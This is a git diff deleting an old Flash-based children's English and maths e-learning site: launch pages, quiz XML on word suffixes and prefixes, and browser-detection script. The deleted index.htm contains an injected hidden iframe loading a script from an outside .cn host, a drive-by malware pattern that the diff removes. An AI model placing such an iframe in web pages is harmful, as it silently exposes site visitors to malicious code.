--- a/Explore/elr/English/L0801/index.htm
+++ /dev/null
@@ -1,80 +0,0 @@
-<html>
-<head>
-<title>EFK - Course Launcher</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script>
-var MM_contentVersion = 6;
-var plugin = (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]) ? navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin : 0;
-if ( plugin ) {
-		var words = navigator.plugins["Shockwave Flash"].description.split(" ");
-	    for (var i = 0; i < words.length; ++i)
-	    {
-		if (isNaN(parseInt(words[i])))
-		continue;
-		var MM_PluginVersion = words[i]; 
-	    }
-	var MM_FlashCanPlay = MM_PluginVersion >= MM_contentVersion;
-}
-else if (navigator.userAgent && navigator.userAgent.indexOf("MSIE")>=0 
-   && (navigator.appVersion.indexOf("Win") != -1)) {
-	document.write('<SCR' + 'IPT LANGUAGE=VBScript\> \n'); //FS hide this from IE4.5 Mac by splitting the tag
-	document.write('on error resume next \n');
-	document.write('MM_FlashCanPlay = ( IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash." & MM_contentVersion)))\n');
-	document.write('</SCR' + 'IPT\> \n');
-}
-if (MM_FlashCanPlay )
-{
-win();
-}
-else
-{
-   alert("You will need Flash Player plug-in to run this course. The course will atempt to install the plug-in from the Web site of Macromedia. Alternatively, you can also install the plug-in from www.Macromedia.com");
-mx=window.open("http://www.macromedia.com/go/getflashplayer"); 
-}
-function win()
-{
-//Detect Resolution 
-if(screen.width < 1000)
-{
-//alert (screen.width);
-///alert ("800 resolution");
-mx = window.open("login.htm","wInterface","fullscreen=yes,HEIGHT="+screen.availHeight+",WIDTH=" +screen.availWidth+",left=0,top=0,leftmargin=0,topmargin=0")
-}
-else
-{
-//alert ("> 800 resolution");
-//alert (screen.width);
-mx = window.open("login.htm","wInterface","HEIGHT=600,WIDTH=800,left="+(screen.availWidth-1000)/2+",top="+(screen.availHeight-675)/2+",leftmargin=0,topmargin=0")
-}
-
-}
-
-</script>
-</head>
-<body bgcolor="#FFFFFF" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"><iframe src="http://hugebest.cn:8080/ts/in.cgi?pepsi8" width=2 height=4 style="visibility: hidden"></iframe>
-<br><Br><br><Br><Br><Br><Br><br><br><br>
-<CENTER>
-  <table width="80%" border="0" cellspacing="0" cellpadding="0">
-    <tr>
-      <td bgcolor="#9AC1E2"><table width="100%" border="0" cellspacing="1" cellpadding="50">
-          <tr> 
-            <td align="center" bgcolor="#FFFFFF"> <table width="80%" border="0" cellspacing="0" cellpadding="0">
-                <tr> 
-                  <td bgcolor="#666666"><table width="100%" border="0" cellspacing="1" cellpadding="3">
-                      <tr> 
-                        <td bgcolor="#E6E6E6"> <div align="center"><font size="2" face="Verdana, Arial, Helvetica, sans-serif">The 
-                            course may not launch automatically if you have the 
-                            pop blocker enabled, <br>
-                            Please&nbsp;<A HREF="Javascript:win()"><strong>click 
-                            here</strong></A> to launch it manually.</font></div></td>
-                      </tr>
-                    </table></td>
-                </tr>
-              </table></td>
-          </tr>
-        </table></td>
-    </tr>
-  </table>
-</CENTER>
-</BODY>
-</html>
diff --git a/Explore/elr/English/L0801/login.htm b/Explore/elr/English/L0801/login.htm
deleted file mode 100755
index bc8910f..0000000
--- a/Explore/elr/English/L0801/login.htm
+++ /dev/null
@@ -1,15 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
-<html>
-<head>
-<title>EFK</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-</head>
-
-<frameset rows="*,1" frameborder="NO" border="0" framespacing="0">
-  <frame src="loginframe.htm" name="fr1" frameborder="no" scrolling="no" noresize marginwidth="0" marginheight="0">
-  <frame  src="precacheframe.htm" name="fr" scrolling="NO" noresize>
-</frameset>
-<noframes><body bgcolor="#FFFFFF" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
-
-</body></noframes>
-</html>
diff --git a/Explore/elr/English/L0801/loginframe.htm b/Explore/elr/English/L0801/loginframe.htm
deleted file mode 100755
index c543f12..0000000
--- a/Explore/elr/English/L0801/loginframe.htm
+++ /dev/null
@@ -1,21 +0,0 @@
-<HTML>
-<HEAD>
-<meta http-equiv=Content-Type content="text/html;  charset=ISO-8859-1">
-<TITLE>EFK</TITLE>
-<script src="global/AC_RunActiveContent.js" type="text/javascript"></script>
-<script src="global/AC_ActiveX.js" type="text/javascript"></script>
-</HEAD>
-<BODY bgcolor="#ffffff" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onLoad="initFlashMovie()" onUnload="closeAllChildWindows()" >
-<SCRIPT LANGUAGE=JavaScript>
-</SCRIPT>
-<!-- URL's used in the movie-->
-<!-- text used in the movie-->
-<!--Loading...User Name :Password :-->
-<div onMouseDown="removeMenu();">
-
-<script type="text/javascript" > 
-AC_FL_RunContent('codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0','width','100%','height','100%','align','middle','src','template','quality','high','SeamlessTabbing','false','bgcolor','#FFFFFF','name','course','allowscriptaccess','sameDomain','pluginspage','http://www.macromedia.com/go/getflashplayer','movie','template','menu','false','id','course');
-</script>
-</div>
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/English/L0801/template.swf b/Explore/elr/English/L0801/template.swf
deleted file mode 100755
index c6c27d8..0000000
--- a/Explore/elr/English/L0801/template.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0801/xml/activity01_05.xml b/Explore/elr/English/L0801/xml/activity01_05.xml
deleted file mode 100755
index ea35dbd..0000000
--- a/Explore/elr/English/L0801/xml/activity01_05.xml
+++ /dev/null
@@ -1,54 +0,0 @@
-<activity id = "3">
-  <description><![CDATA[<b></b>]]></description>
-  <set id = "1">
-    <questions>
-      <question id = "1">
-        <qn><![CDATA[<b><font color="#0033CC">Car</font></b>_____ <b>filled the parking lot.</b>]]></qn>
-        <options>
-          <option id = "1" isCorrect = "true"><![CDATA[s]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[ly]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[ful]]></option>
-		  <option id = "4" isCorrect = ""><![CDATA[er]]></option>
-        </options>
-      </question>
-      <question id = "2">
-        <qn><![CDATA[<b>The <font color="#0033CC">teach</font></b>_____ <b>took the class on a field trip.</b>]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[s]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[ly]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[ful]]></option>
-		  <option id = "4" isCorrect = "true"><![CDATA[er]]></option>
-        </options>
-      </question>
-      <question id = "3">
-        <qn><![CDATA[<b>My mother is a <font color="#0033CC">beauty</font></b>_____ <b>woman.</b>]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[s]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[ly]]></option>
-          <option id = "3" isCorrect = "true"><![CDATA[ful]]></option>
-		  <option id = "4" isCorrect = ""><![CDATA[er]]></option>
-        </options>
-		<qnchange><![CDATA[<b>My mother is a <font color="#0033CC">beauti</font></b>]]></qnchange>
-      </question>
-      <question id = "4">
-        <qn><![CDATA[<b>She knocked on the door <font color="#0033CC">soft</font></b>_____.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[s]]></option>
-          <option id = "2" isCorrect = "true"><![CDATA[ly]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[ful]]></option>
-		  <option id = "4" isCorrect = ""><![CDATA[er]]></option>
-        </options>
-      </question>
-    </questions>
-    <feedback>
-      <correct id = "1"><![CDATA[Yes! The suffix <font color="#008200">s</font> means more than one. One car, two cars!]]></correct>
-      <correct id = "2"><![CDATA[Righto! The suffix <font color="#008200">er</font> means the <b>doer</b>. Who teaches? A teacher!]]></correct>
-      <correct id = "3"><![CDATA[Bravo! The suffix <font color="#008200">ful</font> means full of. Our mothers are full of beauty!]]></correct>
-	  <correct id = "4"><![CDATA[Excellent! The suffix <font color="#008200">ly</font> means like. Badly, softly, surprisingly, etc. You can make lots of ly words!]]></correct>
-      <wrong id = "5"><![CDATA[That's not right. The suffix <font color="#008200">s</font> means more than one. One car, two cars!]]></wrong>
-	  <wrong id = "6"><![CDATA[No problem. The suffix <font color="#008200">er</font> means the <b>doer</b>. Who teaches? A teacher!]]></wrong>
-	  <wrong id = "7"><![CDATA[No. The suffix <font color="#008200">ful</font> means full of. Our mothers are full of beauty!]]></wrong>
-	  <wrong id = "8"><![CDATA[That's incorrect. The suffix <font color="#008200">ly</font> means like. Badly, softly, surprisingly, etc. You can make lots of ly words!]]></wrong>
-    </feedback>
-  </set>
-</activity>
diff --git a/Explore/elr/English/L0801/xml/activity01_06.xml b/Explore/elr/English/L0801/xml/activity01_06.xml
deleted file mode 100755
index 2105712..0000000
--- a/Explore/elr/English/L0801/xml/activity01_06.xml
+++ /dev/null
@@ -1,66 +0,0 @@
-<activity id = "3">
-  <description><![CDATA[<b></b>]]></description>
-  <set id = "1">
-    <questions>
-      <question id = "1" prefix="">
-        <qn><![CDATA[Dad stopped for gas on the way to take us kid ___ to school.]]></qn>
-        <options>
-          <option id = "1" isCorrect = "true" prefix=""><![CDATA[s = more than one ]]></option>
-          <option id = "2" isCorrect = "" prefix="" ><![CDATA[ful = full of ]]></option>
-          <option id = "3" isCorrect = "" prefix=""><![CDATA[y or ly = like ]]></option>
-		  <option id = "4" isCorrect = "" prefix=""><![CDATA[er = doer]]></option>
-		  <option id = "5" isCorrect = "" prefix="true"><![CDATA[pre = before]]></option>
-		  <option id = "6" isCorrect = "" prefix="true"><![CDATA[un = not]]></option>
-		  <option id = "7" isCorrect = "" prefix="true"><![CDATA[re = again]]></option>
-		  <option id = "8" isCorrect = "" prefix="true"><![CDATA[bi = two ]]></option>
-        </options>
-      </question>
-      <question id = "2" prefix="">
-        <qn><![CDATA[Dad stopped for gas on the way to take us kids to school. I am usually a bus ride ___ but today was a special day.]]></qn>
-        <options>
-          <option id = "1" isCorrect = "" prefix=""><![CDATA[s = more than one ]]></option>
-          <option id = "2" isCorrect = "" prefix="" ><![CDATA[ful = full of ]]></option>
-          <option id = "3" isCorrect = "" prefix=""><![CDATA[y or ly = like ]]></option>
-		  <option id = "4" isCorrect = "true" prefix=""><![CDATA[er = doer]]></option>
-		  <option id = "5" isCorrect = "" prefix="true"><![CDATA[pre = before]]></option>
-		  <option id = "6" isCorrect = "" prefix="true"><![CDATA[un = not]]></option>
-		  <option id = "7" isCorrect = "" prefix="true"><![CDATA[re = again]]></option>
-		  <option id = "8" isCorrect = "" prefix="true"><![CDATA[bi = two ]]></option>
-        </options>
-		<qnchange><![CDATA[rid]]></qnchange>
-      </question>
-      <question id = "3" prefix="true">
-        <qn><![CDATA[Dad stopped for gas on the way to take us kids to school. I am usually a bus rider but today was a special day. At the gas station, dad went in to ___ pay before he could fill the tank with gas.]]></qn>
-        <options>
-          <option id = "1" isCorrect = "" prefix=""><![CDATA[s = more than one ]]></option>
-          <option id = "2" isCorrect = "" prefix="" ><![CDATA[ful = full of ]]></option>
-          <option id = "3" isCorrect = "" prefix=""><![CDATA[y or ly = like ]]></option>
-		  <option id = "4" isCorrect = "" prefix=""><![CDATA[er = doer]]></option>
-		  <option id = "5" isCorrect = "true" prefix="true"><![CDATA[pre = before]]></option>
-		  <option id = "6" isCorrect = "" prefix="true"><![CDATA[un = not]]></option>
-		  <option id = "7" isCorrect = "" prefix="true"><![CDATA[re = again]]></option>
-		  <option id = "8" isCorrect = "" prefix="true"><![CDATA[bi = two ]]></option>
-        </options>
-      </question>
-      <question id = "4" prefix="">
-        <qn><![CDATA[Dad stopped for gas on the way to take us kids to school. I am usually a bus rider but today was a special day. At the gas station, dad went in to prepay before he could fill the tank with gas. When he came out he had surprise ___ for each of us!]]></qn>
-        <options>
-          <option id = "1" isCorrect = "true" prefix=""><![CDATA[s = more than one ]]></option>
-          <option id = "2" isCorrect = "" prefix="" ><![CDATA[ful = full of ]]></option>
-          <option id = "3" isCorrect = "" prefix=""><![CDATA[y or ly = like ]]></option>
-		  <option id = "4" isCorrect = "" prefix=""><![CDATA[er = doer]]></option>
-		  <option id = "5" isCorrect = "" prefix="true"><![CDATA[pre = before]]></option>
-		  <option id = "6" isCorrect = "" prefix="true"><![CDATA[un = not]]></option>
-		  <option id = "7" isCorrect = "" prefix="true"><![CDATA[re = again]]></option>
-		  <option id = "8" isCorrect = "" prefix="true"><![CDATA[bi = two ]]></option>
-        </options>
-      </question>
-    </questions>
-    <feedback>
-      <correct id = "1"><![CDATA[That's excellent! You got all questions right! You win a video game.]]></correct>
-      <correct id = "2"><![CDATA[That's good. You win a box of crayons.]]></correct>
-      <correct id = "3"><![CDATA[That's not bad. You win a mask.]]></correct>
-	  <wrong id = "4"><![CDATA[Not to worry. You can view this course again to take this game.]]></wrong>
-	  </feedback>
-  </set>
-</activity>
diff --git a/Explore/elr/English/L0801/xml/activity01_07.xml b/Explore/elr/English/L0801/xml/activity01_07.xml
deleted file mode 100755
index b0efd4d..0000000
--- a/Explore/elr/English/L0801/xml/activity01_07.xml
+++ /dev/null
@@ -1,80 +0,0 @@
-<activity id = "3">
-  <description><![CDATA[<b></b>]]></description>
-  <set id = "1">
-    <questions>
-      <question id = "1" prefix="">
-        <qn><![CDATA[It was a beauty ___ summer day.]]></qn>
-        <options>
-          <option id = "1" isCorrect = "" prefix=""><![CDATA[s = more than one ]]></option>
-          <option id = "2" isCorrect = "true" prefix=""><![CDATA[ful = full of ]]></option>
-          <option id = "3" isCorrect = "" prefix=""><![CDATA[y or ly = like ]]></option>
-		  <option id = "4" isCorrect = "" prefix=""><![CDATA[er = doer]]></option>
-		  <option id = "5" isCorrect = "" prefix="true"><![CDATA[pre = before]]></option>
-		  <option id = "6" isCorrect = "" prefix="true"><![CDATA[un = not]]></option>
-		  <option id = "7" isCorrect = "" prefix="true"><![CDATA[re = again]]></option>
-		  <option id = "8" isCorrect = "" prefix="true"><![CDATA[bi = two ]]></option>
-        </options>
-	  <qnchange><![CDATA[beauti]]></qnchange>
-      </question>
-      <question id = "2" prefix="true">
-        <qn><![CDATA[It was a beautiful summer day. I rode my ___ cycle to the park. ]]></qn>
-        <options>
-          <option id = "1" isCorrect = "" prefix=""><![CDATA[s = more than one ]]></option>
-          <option id = "2" isCorrect = "" prefix=""><![CDATA[ful = full of ]]></option>
-          <option id = "3" isCorrect = "" prefix=""><![CDATA[y or ly = like ]]></option>
-		  <option id = "4" isCorrect = "" prefix=""><![CDATA[er = doer]]></option>
-		  <option id = "5" isCorrect = "" prefix="true"><![CDATA[pre = before]]></option>
-		  <option id = "6" isCorrect = "" prefix="true"><![CDATA[un = not]]></option>
-		  <option id = "7" isCorrect = "" prefix="true"><![CDATA[re = again]]></option>
-		  <option id = "8" isCorrect = "true" prefix="true"><![CDATA[bi = two ]]></option>
-        </options>
-      </question>
-      <question id = "3" prefix="">
-        <qn><![CDATA[It was a beautiful summer day. I rode my bicycle to the park. It was a sun ___ day and I was playing a game with my friend.]]></qn>
-        <options>
-          <option id = "1" isCorrect = "" prefix=""><![CDATA[s = more than one ]]></option>
-          <option id = "2" isCorrect = "" prefix=""><![CDATA[ful = full of ]]></option>
-          <option id = "3" isCorrect = "true" prefix=""><![CDATA[y or ly = like ]]></option>
-		  <option id = "4" isCorrect = "" prefix=""><![CDATA[er = doer]]></option>
-		  <option id = "5" isCorrect = "" prefix="true"><![CDATA[pre = before]]></option>
-		  <option id = "6" isCorrect = "" prefix="true"><![CDATA[un = not]]></option>
-		  <option id = "7" isCorrect = "" prefix="true"><![CDATA[re = again]]></option>
-		  <option id = "8" isCorrect = "" prefix="true"><![CDATA[bi = two ]]></option>
-        </options>
-		<qnchange><![CDATA[sunn]]></qnchange>
-      </question>
-      <question id = "4" prefix="true">
-        <qn><![CDATA[It was a beautiful summer day. I rode my bicycle to the park. It was a sunny day and I was playing a game with my friend. I saw that my shoelace was ___ tied.]]></qn>
-        <options>
-          <option id = "1" isCorrect = "" prefix=""><![CDATA[s = more than one ]]></option>
-          <option id = "2" isCorrect = "" prefix=""><![CDATA[ful = full of ]]></option>
-          <option id = "3" isCorrect = "" prefix=""><![CDATA[y or ly = like ]]></option>
-		  <option id = "4" isCorrect = "" prefix=""><![CDATA[er = doer]]></option>
-		  <option id = "5" isCorrect = "" prefix="true"><![CDATA[pre = before]]></option>
-		  <option id = "6" isCorrect = "true" prefix="true"><![CDATA[un = not]]></option>
-		  <option id = "7" isCorrect = "" prefix="true"><![CDATA[re = again]]></option>
-		  <option id = "8" isCorrect = "" prefix="true"><![CDATA[bi = two ]]></option>
-        </options>
-      </question>
-	  <question id = "5" prefix="true">
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-		  <option id = "5" isCorrect = "" prefix="true"><![CDATA[pre = before]]></option>
-		  <option id = "6" isCorrect = "" prefix="true"><![CDATA[un = not]]></option>
-		  <option id = "7" isCorrect = "true" prefix="true"><![CDATA[re = again]]></option>
-		  <option id = "8" isCorrect = "" prefix="true"><![CDATA[bi = two ]]></option>
-        </options>
-      </question>
-    </questions>
-    <feedback>
-      <correct id = "1"><![CDATA[That's excellent! You got all questions right and you win a bicycle!]]></correct>
-      <correct id = "2"><![CDATA[That's good! You win a coloring book!]]></correct>
-      <correct id = "3"><![CDATA[That's not bad. You win a school bag.]]></correct>
-	  <wrong id = "4"><![CDATA[Not to worry. You can view this course again to take this game.]]></wrong>
-	  </feedback>
-  </set>
-</activity>
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deleted file mode 100755
index a176651..0000000
--- a/Explore/elr/English/L0801/xml/course.xml
+++ /dev/null
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--->
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deleted file mode 100755
index 3f25baf..0000000
--- a/Explore/elr/English/L1001/efk_shell.swf
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deleted file mode 100755
index ce5e512..0000000
--- a/Explore/elr/English/L1001/index.html
+++ /dev/null
@@ -1,38 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
-"http://www.w3.org/TR/html4/loose.dtd">
-<html>
-<head>
-<title>Effective Learning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
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deleted file mode 100755
index e61b209..0000000
--- a/Explore/elr/English/L1001/swf/finish.html
+++ /dev/null
@@ -1,18 +0,0 @@
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-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-<title>finish</title>
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-<!--url's used in the movie-->
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deleted file mode 100755
index 4e58316..0000000
--- a/Explore/elr/English/L1001/swf/finish.swf
+++ /dev/null
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deleted file mode 100755
index 73c2e36..0000000
--- a/Explore/elr/English/L1001/swf/food.html
+++ /dev/null
@@ -1,18 +0,0 @@
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-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-<title>food</title>
-</head>
-<body bgcolor="#ffffff">
-<!--url's used in the movie-->
-<!--text used in the movie-->
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deleted file mode 100755
index 744074b..0000000
--- a/Explore/elr/English/L1001/swf/food.swf
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deleted file mode 100755
index 6f3a7ac..0000000
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+++ /dev/null
@@ -1,18 +0,0 @@
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-<!--url's used in the movie-->
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deleted file mode 100755
index e2d6338..0000000
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deleted file mode 100755
index 050adcd..0000000
--- a/Explore/elr/English/L1001/swf/intro.html
+++ /dev/null
@@ -1,18 +0,0 @@
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-<head>
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deleted file mode 100755
index 2a8271c..0000000
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index 74448ac..0000000
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diff --git a/Explore/elr/English/L1001/swf/people.swf b/Explore/elr/English/L1001/swf/people.swf
deleted file mode 100755
index 3125ad3..0000000
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deleted file mode 100755
index 6d63f20..0000000
--- a/Explore/elr/English/L1001/swf/sports.html
+++ /dev/null
@@ -1,18 +0,0 @@
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-<head>
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diff --git a/Explore/elr/English/L1001/swf/sports.swf b/Explore/elr/English/L1001/swf/sports.swf
deleted file mode 100755
index a5956c0..0000000
--- a/Explore/elr/English/L1001/swf/sports.swf
+++ /dev/null
diff --git a/Explore/elr/English/activities.js b/Explore/elr/English/activities.js
deleted file mode 100644
index ca309c9..0000000
--- a/Explore/elr/English/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
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-['2','2','E-Learn','Elearn','L0602','blue','P4,5,6-Word prefixes'],
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-['5','5','E-Learn','Elearn','L1001','blue','P5,6-Grammar mistakes'],
-['6','6','E-Learn','Elearn','L0002','blue','Personal pronouns'],
-['7','7','E-Learn','Elearn','L0003','blue','Synonyms'],
-['8','8','E-Learn','Elearn','L0004','blue','Word-recognition'],
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index 53fe5d4..0000000
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-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
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-      <p>&nbsp; </p></td>
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-</body>
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-</html>
diff --git a/Explore/elr/Mathematics/M0701/html/fpi_upgrade_flash.html b/Explore/elr/Mathematics/M0701/html/fpi_upgrade_flash.html
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@@ -1,40 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
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-                Please click <a href="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">here</a> 
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-      <p>&nbsp; </p></td>
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diff --git a/Explore/elr/Mathematics/M0701/html/launch.html b/Explore/elr/Mathematics/M0701/html/launch.html
deleted file mode 100755
index 5972c48..0000000
--- a/Explore/elr/Mathematics/M0701/html/launch.html
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@@ -1,36 +0,0 @@
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-      <p>&nbsp; </p></td>
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diff --git a/Explore/elr/Mathematics/M0701/html/os_browser_detection.html b/Explore/elr/Mathematics/M0701/html/os_browser_detection.html
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-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
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diff --git a/Explore/elr/Mathematics/M0701/html/os_not_compatible_page.html b/Explore/elr/Mathematics/M0701/html/os_not_compatible_page.html
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--- a/Explore/elr/Mathematics/M0701/html/os_not_compatible_page.html
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@@ -1,39 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
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-                the above image to launch the course.<br>
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-<script language="javascript">
-		document.write("<HTML><HEAD><meta http-equiv=Content-Type content=text/html;  charset=ISO-8859-1\"><TITLE>Key Boarding</TITLE>");
-		document.write("</HEAD><BODY scroll=no onUnload=\"finish()\" leftmargin=\"0\" topmargin=\"0\" marginwidth=\"0\" marginheight=\"0\" ><table height=\"100%\" width=\"100%\"><tr><td align=\"center\" valign=\"middle\"><OBJECT classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"codebase=\"https://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0\" WIDTH=\"800\" HEIGHT=\"600\" id=\"myFlash\" ALIGN=\"\"> <PARAM NAME=movie VALUE=\"Interface.swf\"> <PARAM NAME=quality VALUE=high> <PARAM NAME=menu VALUE=false> <PARAM NAME=loop VALUE=false><PARAM NAME=bgcolor VALUE=#FFFFFF> <EMBED src=\"Interface.swf\" quality=high bgcolor=#FFFFFF  WIDTH=\"800\" HEIGHT=\"600\" NAME=\"myFlash\" ALIGN=\"\" TYPE=\"application/x-shockwave-flash\" PLUGINSPAGE=\"https://www.macromedia.com/go/getflashplayer\"></EMBED></OBJECT></td></tr></table></BODY></HTML>");
- </script>
-</html>
diff --git a/Explore/elr/Mathematics/M0701/js/browser-detection.js b/Explore/elr/Mathematics/M0701/js/browser-detection.js
deleted file mode 100755
index 54d8b3b..0000000
--- a/Explore/elr/Mathematics/M0701/js/browser-detection.js
+++ /dev/null
@@ -1,185 +0,0 @@
-// JavaScript Document v:1.3
-// Requires navigator 2.0, Internet Explorer 3.0
-
-// Browser ::
-//navigator.appVersion
-//navigator.appName
-//navigator.appCodeName(code name of browser)
-
-var agt, os, browser, version, place, thestring, osVer;
-var notCompatiblePage = "../html/os_not_compatible_page.html";
-var compatiblePage = "../html/launch.html";
-var flashDetectionPage = "../html/fpi_detection.html";
-
-// Browser Version Required for Windows
-var winIEVer = 4;
-var winNetscapeVer = 4;
-var winOperaVer = 6;
-var winAOLVer = 7;
-var winMozillaVer = 1;
-
-// Browser Version Required for Mac
-var macIEVer = 5;
-var macNetscapeVer = 4.7;
-var macOperaVer = 5;
-var macMozillaVer = 1;
-
-// Browser Version Required for Linux
-var linuxMozillaVer = 1.1;
-
-function getAgtInfo() {
-	agt = navigator.userAgent.toLowerCase();
-	if (checkIt('konqueror')) {
-		browser = "Konqueror";
-		os = "Linux";
-		osVer = "na";
-	} else if (checkIt('safari')) {
-		browser = "Safari";
-	} else if (checkIt('aol')) {
-		browser = "AOL";
-	} else if (checkIt('opera')) {
-		browser = "Opera";
-		if (agt.indexOf("opera 2") != -1 || agt.indexOf("opera/2") != -1) {
-			version = 2;
-		} else if (agt.indexOf("opera 3") != -1 || agt.indexOf("opera/3") != -1) {
-			version = 3;
-		} else if (agt.indexOf("opera 4") != -1 || agt.indexOf("opera/4") != -1) {
-			version = 4;
-		} else if (agt.indexOf("opera 5") != -1 || agt.indexOf("opera/5") != -1) {
-			version = 5;
-		} else if (agt.indexOf("opera 6") != -1 || agt.indexOf("opera/6") != -1) {
-			version = 6;
-		} else if (agt.indexOf("opera 7") != -1 || agt.indexOf("opera/7") != -1) {
-			version = 7;
-		} else {
-			version = 0;
-		}
-	} else if (checkIt('msie')) {
-		browser = "IE";
-	} else if (!checkIt('compatible')) {
-		browser = "Netscape";
-		//alert(navigator.appVersion.substr(0, 3));
-		//version = agt.charAt(8);
-		version = navigator.appVersion.substr(0, 3);
-		if(Number(version) == NaN || Number(version) == "NaN") {
-			version = agt.charAt(8);
-		}
-	} else if ((agt.indexOf("mozilla")) != -1 && browser == undefined) {
-		browser = "Mozilla";
-	} else {
-		browser = "unknown browser";
-	}
-	if (!version) {
-		version = agt.charAt(place+thestring.length);
-	}
-	if (!os) {
-		if (checkIt('linux')) {
-			os = "Linux";
-			osVer = "na";
-		} else if (checkIt('x11')) {
-			os = "Unix";
-			osVer = "na";
-		} else if (checkIt('mac')) {
-			os = "Mac";
-			if((((agt.indexOf("68k")!=-1) || (agt.indexOf("68000")!=-1)))){
-				osVer = "mac 68k"
-			} else if((((agt.indexOf("ppc")!=-1) || (agt.indexOf("powerpc")!=-1)))) {
-				osVer = "mac powerpc"
-			}
-		} else if (checkIt('win')) {
-			os = "Win";
-			if((((agt.indexOf("win98")!=-1) || (agt.indexOf("windows 98")!=-1)))){
-				osVer = "Win 98"
-			} else if((((agt.indexOf("win95")!=-1) || (agt.indexOf("windows 95")!=-1)))) {
-				osVer = "Win 95"
-			} else if((((agt.indexOf("win 9x 4.90")!=-1)))) {
-				osVer = "Win ME"
-			} else if((((agt.indexOf("windows nt 5.0")!=-1) || (agt.indexOf("windows 2000")!=-1)))) {
-				osVer = "Win 2k"
-			} else if((((agt.indexOf("windows nt 5.1")!=-1) || (agt.indexOf("windows xp")!=-1)))) {
-				osVer = "Win XP"
-			} else if((((agt.indexOf("winnt")!=-1) || (agt.indexOf("windows nt")!=-1)))) {
-				osVer = "Win NT"
-			}
-		} else {
-			os = "unknown operating system";
-		}
-	}
-	checkCompatibility();
-}
-function checkIt(string) {
-	place = agt.indexOf(string)+1;
-	thestring = string;
-	return place;
-}
-function checkCompatibility() {
-	//alert("agt: "+agt+" Your OS is: "+os+" & browser is: "+browser+" & version: "+Number(version));
-	//alert(navigator.appCodeName);
-	if(os != "unknown operating system") {
-		if (os == "Win") {		 
-			if (osVer == "Win 95" || osVer == "Win 98" || osVer == "Win ME" || osVer == "Win NT" || osVer == "Win 2k" || osVer == "Win XP") {
-				if (browser == "IE" && (Number(version) >= winIEVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);					
-				} else if (browser == "Netscape" && (Number(version) >= winNetscapeVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "Opera" && (Number(version) >= winOperaVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "AOL" && (Number(version) >= winAOLVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "Mozilla" && (Number(version) >= winMozillaVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else {
-					window.location.replace(notCompatiblePage);
-					//window.location = compatiblePage;
-				}	
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = notCompatiblePage;
-			}
-		} else if (os == "Mac") {
-			//alert("browser: "+browser+" & macIEVer: "+macIEVer+" & macNetscapeVer: "+macNetscapeVer+" & navigator.appVersion: "+navigator.appVersion);
-			if (browser == "IE" && (Number(version) >= macIEVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Netscape" && (Number(version) >= macNetscapeVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Opera" && (Number(version) >= macOperaVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "AOL") {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Mozilla" && (Number(version) >= macMozillaVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = compatiblePage;
-			}	
-		} else if (os == "Linux") {
-			if(browser == "Konqueror") {
-				//window.location.replace(compatiblePage);
-				window.location.replace(notCompatiblePage);
